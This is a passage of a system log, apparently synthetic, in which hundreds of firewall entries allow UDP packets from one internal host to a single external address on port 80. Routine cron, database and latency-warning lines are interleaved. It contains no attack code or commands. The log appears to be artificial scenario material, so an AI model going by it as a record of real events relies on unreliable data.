DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47774 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50214 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44335 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38633 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28085 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14036 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=30318 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21444 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53954 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26707 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53872 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16163 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57894 DPT=80 +Aug 16 16:04:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20532 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10998 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14854 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10911 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26948 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53344 DPT=80 +Aug 16 16:04:05 CRON[1949]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49776 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23424 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63149 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=15068 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41259 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44032 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17143 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31147 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53269 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18140 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48168 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54120 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13794 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46576 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23172 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43217 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38498 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52290 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22982 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29028 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64859 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11799 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51402 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60010 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21273 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51902 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59471 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51078 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58352 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13662 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51953 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52700 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17763 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24209 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61970 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13523 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19609 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50549 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54574 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52537 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42596 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19701 DPT=80 +Aug 16 16:04:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55360 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34077 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22609 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44396 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22842 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43934 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11652 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29584 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28399 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31933 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24271 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53004 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42790 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19475 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48174 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21043 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25687 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64116 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39089 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18059 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27666 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34385 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56204 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61024 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38060 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25161 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=40912 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26753 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10784 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60489 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57102 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57587 DPT=80 +Aug 16 16:05:00 systemd[1]: Starting Clean php session files... +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20240 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13973 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29742 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51126 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60223 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24382 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46369 DPT=80 +Aug 16 16:05:05 CRON[1961]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55358 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50602 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=40857 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58768 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54330 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14147 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23534 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12398 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60269 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19261 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57080 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28657 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42884 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64121 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63779 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58902 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=30846 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33073 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24833 DPT=80 +Aug 16 16:05:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16093 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64028 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21949 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59960 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12010 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52701 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28729 DPT=80 +Aug 16 16:05:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21628 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21710 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12566 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20746 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54335 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64519 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25977 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18819 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46302 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=30156 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54351 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32057 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13987 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49668 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12863 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49621 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56049 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28592 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48888 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48419 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63714 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57284 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20573 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35222 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22207 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33610 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45372 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=62652 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39460 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35874 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32618 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32589 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33916 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35277 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26357 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42657 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37845 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18892 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=62018 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28793 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37226 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33554 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64099 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25618 DPT=80 +Aug 16 16:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41520 DPT=80 +Aug 16 16:06:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28427 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53939 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45673 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63500 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34188 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53493 DPT=80 +Aug 16 16:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11353 DPT=80 +Aug 16 16:06:05 CRON[1973]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64365 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47120 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37954 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19933 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29406 DPT=80 +Aug 16 16:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46711 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 